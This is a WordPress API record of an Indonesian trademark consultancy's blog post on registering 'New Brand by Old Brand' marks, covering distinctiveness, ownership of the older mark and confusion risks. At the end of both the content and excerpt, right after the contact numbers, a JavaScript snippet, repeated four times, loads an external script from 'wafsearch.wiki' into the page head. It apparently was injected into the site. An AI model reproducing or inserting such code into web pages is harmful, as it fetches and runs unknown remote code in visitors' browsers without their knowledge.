{"id":5737,"date":"2025-07-22T15:53:14","date_gmt":"2025-07-22T15:53:14","guid":{"rendered":"https:\/\/affa.co.id\/?p=5737"},"modified":"2025-07-22T15:53:14","modified_gmt":"2025-07-22T15:53:14","slug":"branding-baru-by-merek-lama-strategi-efektif-mendaftarkan-merek","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/07\/22\/branding-baru-by-merek-lama-strategi-efektif-mendaftarkan-merek\/","title":{"rendered":"\u201cBranding Baru by Merek Lama\u201d &#8211; Strategi Efektif Mendaftarkan Merek?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Dalam beberapa tahun terakhir, semakin banyak pelaku usaha yang mengusung strategi penamaan Merek dengan pola \u201cNama Baru by [Merek Lama]\u201d. Strategi ini lazim digunakan untuk memperkenalkan lini produk atau jasa turunan dari sebuah usaha yang telah memiliki nama besar. Tujuannya adalah menciptakan kesan pembaruan atau diversifikasi, tanpa kehilangan kepercayaan pasar yang telah dibangun oleh Merek utama.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Contoh penamaannya bisa seperti merek-merek fiktif berikut ini: \u201cGlow Skin by CantikBersama\u201d, \u201cPremium Bakes by Roti Kita,\u201d atau \u201cMatixxx by Speedex.\u201d Strategi ini tampak menjanjikan secara pemasaran. Namun pertanyaan pentingnya adalah, \u201cApakah penggunaan pola tersebut dapat diakui dan dilindungi sebagai Merek secara hukum di Indonesia?\u201d<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Fungsi Strategi \u201cby [Merek Lama]\u201d dalam Branding<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dari sudut pandang pemasaran, pola ini memiliki sejumlah tujuan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menunjukkan afiliasi langsung antara lini baru dan merek utama.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memanfaatkan reputasi dan kepercayaan yang telah dibangun Merek lama.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memberikan identitas baru pada produk\/jasa yang berbeda, sambil tetap menjaga koneksi emosional dengan konsumen.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun dalam konteks hukum Merek, strategi ini tidak serta-merta menjamin bahwa Merek tersebut dapat didaftarkan dan memperoleh perlindungan hukum.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Pada dasarnya, pendaftaran Merek di Indonesia bergantung pada daya pembeda suatu tanda, serta tidak adanya persamaan dengan Merek terdaftar lainnya. Pola penamaan \u201cBranding Baru by Merek Lama\u201d dapat didaftarkan, namun terdapat beberapa catatan penting:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Kepemilikan Merek Lama<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Jika Merek lama (\u201cby [Merek Lama]\u201d) telah terdaftar atas nama pemilik yang sama, maka penggunaan unsur tersebut dalam Merek baru secara umum tidak menjadi masalah, selama tidak menyesatkan. Namun jika Merek lama bukan milik sendiri, maka penggunaan unsur tersebut dapat dianggap melanggar hak Merek pihak lain.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Daya Pembeda Unsur Baru<br \/>\n<\/b>Unsur \u201cBranding Baru\u201d harus memiliki kekuatan pembeda yang cukup dan tidak bersifat generik atau deskriptif. Karena Direktorat Jenderal Kekayaan Intelektual (DJKI) dapat menolak permohonan Merek apabila menilai bahwa keseluruhan Merek tidak memiliki daya pembeda atau dapat menyesatkan konsumen.<\/li>\n<li style=\"font-weight: 400\"><b>Risiko Kebingungan Konsumen<br \/>\n<\/b>Penggunaan \u201cby [Merek Lama]\u201d dapat menimbulkan persepsi bahwa produk\/jasa baru berasal dari atau dijamin oleh entitas yang berbeda, apabila tidak dijelaskan dengan jelas dalam penggunaan sehari-hari. Hal ini berpotensi memicu sengketa hukum, terutama jika terjadi pelanggaran terhadap prinsip itikad baik dalam pendaftaran Merek. Misalnya saat terjadi masalah dengan brand baru, yang dikejar adalah perusahaan induknya, padahal tanggung jawab kesalahan ada di perusahaan anaknya.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Risiko Hukum yang Perlu Diwaspadai<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Strategi ini dapat menjadi kontraproduktif apabila tidak disertai dengan pemahaman hukum yang memadai. Beberapa risiko yang mungkin timbul antara lain:<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penolakan permohonan pendaftaran Merek karena kesamaan dengan Merek yang sudah ada atau karena kurangnya daya pembeda.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tuduhan pelanggaran hak Merek jika \u201cMerek Lama\u201d yang digunakan bukan milik sendiri.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kebingungan konsumen yang dapat merusak reputasi baik dari Merek baru maupun Merek lama.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Rekomendasi Praktis<\/b><\/p>\n<p><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Agar strategi \u201cby [Merek Lama]\u201d dapat digunakan secara sah dan efektif, berikut beberapa langkah yang disarankan:<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/p>\n<ul>\n<li><b>Pastikan Merek Lama Telah Terdaftar dan Sah Dimiliki<br \/>\n<\/b>Lakukan audit kekayaan intelektual untuk memastikan bahwa Merek lama tercatat atas nama pemohon yang sama.<\/li>\n<li style=\"font-weight: 400\"><b>Lakukan Penelusuran Merek Terlebih Dahulu<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Penelusuran menyeluruh dapat mencegah konflik dengan Merek yang telah terdaftar sebelumnya.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Perhatikan Penyusunan Elemen Visual<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Desain logo dan penggunaan visual yang konsisten dapat memperkuat pembeda antara Merek baru dan Merek lama.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Konsultasikan Strategi Merek Anda dengan Konsultan Resmi<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Melibatkan <\/span><a href=\"http:\/\/affa.co.id\"><span style=\"font-weight: 400\">Konsultan Merek<\/span><\/a><span style=\"font-weight: 400\"> sejak awal proses pengembangan branding dapat menghindarkan risiko hukum di kemudian hari.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Dapatkan konsultasi gratis 15 menit melalui telepon jika Anda memiliki pertanyaan lebih lanjut terkait perlindungan dan pendaftaran Merek di Indonesia dan luar negeri, dengan menghubungi kami melalui kanal berikut:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">? E-Mail<\/span> <span style=\"font-weight: 400\">: trademark@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">? Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">? WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam beberapa tahun terakhir, semakin banyak pelaku usaha yang mengusung strategi penamaan Merek dengan pola \u201cNama Baru by [Merek Lama]\u201d. Strategi ini lazim digunakan untuk memperkenalkan lini produk atau jasa turunan dari sebuah usaha yang telah memiliki nama besar. Tujuannya adalah menciptakan kesan pembaruan atau diversifikasi, tanpa kehilangan kepercayaan pasar yang telah dibangun oleh Merek utama. &nbsp; Contoh penamaannya bisa seperti merek-merek fiktif berikut ini: \u201cGlow Skin by CantikBersama\u201d, \u201cPremium Bakes by Roti Kita,\u201d atau \u201cMatixxx by Speedex.\u201d Strategi ini tampak menjanjikan secara pemasaran. Namun pertanyaan pentingnya adalah, \u201cApakah penggunaan pola tersebut dapat diakui dan dilindungi sebagai Merek secara hukum di Indonesia?\u201d &nbsp; Fungsi Strategi \u201cby [Merek Lama]\u201d dalam Branding &nbsp; Dari sudut pandang pemasaran, pola ini memiliki sejumlah tujuan: Menunjukkan afiliasi langsung antara lini baru dan merek utama. Memanfaatkan reputasi dan kepercayaan yang telah dibangun Merek lama. Memberikan identitas baru pada produk\/jasa yang berbeda, sambil tetap menjaga koneksi emosional dengan konsumen. &nbsp; Namun dalam konteks hukum Merek, strategi ini tidak serta-merta menjamin bahwa Merek tersebut dapat didaftarkan dan memperoleh perlindungan hukum. &nbsp; Pada dasarnya, pendaftaran Merek di Indonesia bergantung pada daya pembeda suatu tanda, serta tidak adanya persamaan dengan Merek terdaftar lainnya. Pola penamaan \u201cBranding Baru by Merek Lama\u201d dapat didaftarkan, namun terdapat beberapa catatan penting: &nbsp; Kepemilikan Merek Lama Jika Merek lama (\u201cby [Merek Lama]\u201d) telah terdaftar atas nama pemilik yang sama, maka penggunaan unsur tersebut dalam Merek baru secara umum tidak menjadi masalah, selama tidak menyesatkan. Namun jika Merek lama bukan milik sendiri, maka penggunaan unsur tersebut dapat dianggap melanggar hak Merek pihak lain. Daya Pembeda Unsur Baru Unsur \u201cBranding Baru\u201d harus memiliki kekuatan pembeda yang cukup dan tidak bersifat generik atau deskriptif. Karena Direktorat Jenderal Kekayaan Intelektual (DJKI) dapat menolak permohonan Merek apabila menilai bahwa keseluruhan Merek tidak memiliki daya pembeda atau dapat menyesatkan konsumen. Risiko Kebingungan Konsumen Penggunaan \u201cby [Merek Lama]\u201d dapat menimbulkan persepsi bahwa produk\/jasa baru berasal dari atau dijamin oleh entitas yang berbeda, apabila tidak dijelaskan dengan jelas dalam penggunaan sehari-hari. Hal ini berpotensi memicu sengketa hukum, terutama jika terjadi pelanggaran terhadap prinsip itikad baik dalam pendaftaran Merek. Misalnya saat terjadi masalah dengan brand baru, yang dikejar adalah perusahaan induknya, padahal tanggung jawab kesalahan ada di perusahaan anaknya. &nbsp; Risiko Hukum yang Perlu Diwaspadai &nbsp; Strategi ini dapat menjadi kontraproduktif apabila tidak disertai dengan pemahaman hukum yang memadai. Beberapa risiko yang mungkin timbul antara lain: Penolakan permohonan pendaftaran Merek karena kesamaan dengan Merek yang sudah ada atau karena kurangnya daya pembeda. Tuduhan pelanggaran hak Merek jika \u201cMerek Lama\u201d yang digunakan bukan milik sendiri. Kebingungan konsumen yang dapat merusak reputasi baik dari Merek baru maupun Merek lama. &nbsp; Rekomendasi Praktis Agar strategi \u201cby [Merek Lama]\u201d dapat digunakan secara sah dan efektif, berikut beberapa langkah yang disarankan: Pastikan Merek Lama Telah Terdaftar dan Sah Dimiliki Lakukan audit kekayaan intelektual untuk memastikan bahwa Merek lama tercatat atas nama pemohon yang sama. Lakukan Penelusuran Merek Terlebih Dahulu Penelusuran menyeluruh dapat mencegah konflik dengan Merek yang telah terdaftar sebelumnya. Perhatikan Penyusunan Elemen Visual Desain logo dan penggunaan visual yang konsisten dapat memperkuat pembeda antara Merek baru dan Merek lama. Konsultasikan Strategi Merek Anda dengan Konsultan Resmi Melibatkan Konsultan Merek sejak awal proses pengembangan branding dapat menghindarkan risiko hukum di kemudian hari. &nbsp; Dapatkan konsultasi gratis 15 menit melalui telepon jika Anda memiliki pertanyaan lebih lanjut terkait perlindungan dan pendaftaran Merek di Indonesia dan luar negeri, dengan menghubungi kami melalui kanal berikut: &nbsp; ? E-Mail : trademark@affa.co.id ? Book a Call : +62 21 83793812 ? WhatsApp : +62 812 87000 889var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5738,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[317,318,609,610,298,305,306,307,308,309,310,314,315],"class_list":["post-5737","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-timing-is-everything","tag-trademark","tag-indonesia-trademark-registration","tag-overseas-trademark","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5737","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5737"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5737\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5738"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5737"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5737"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5737"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}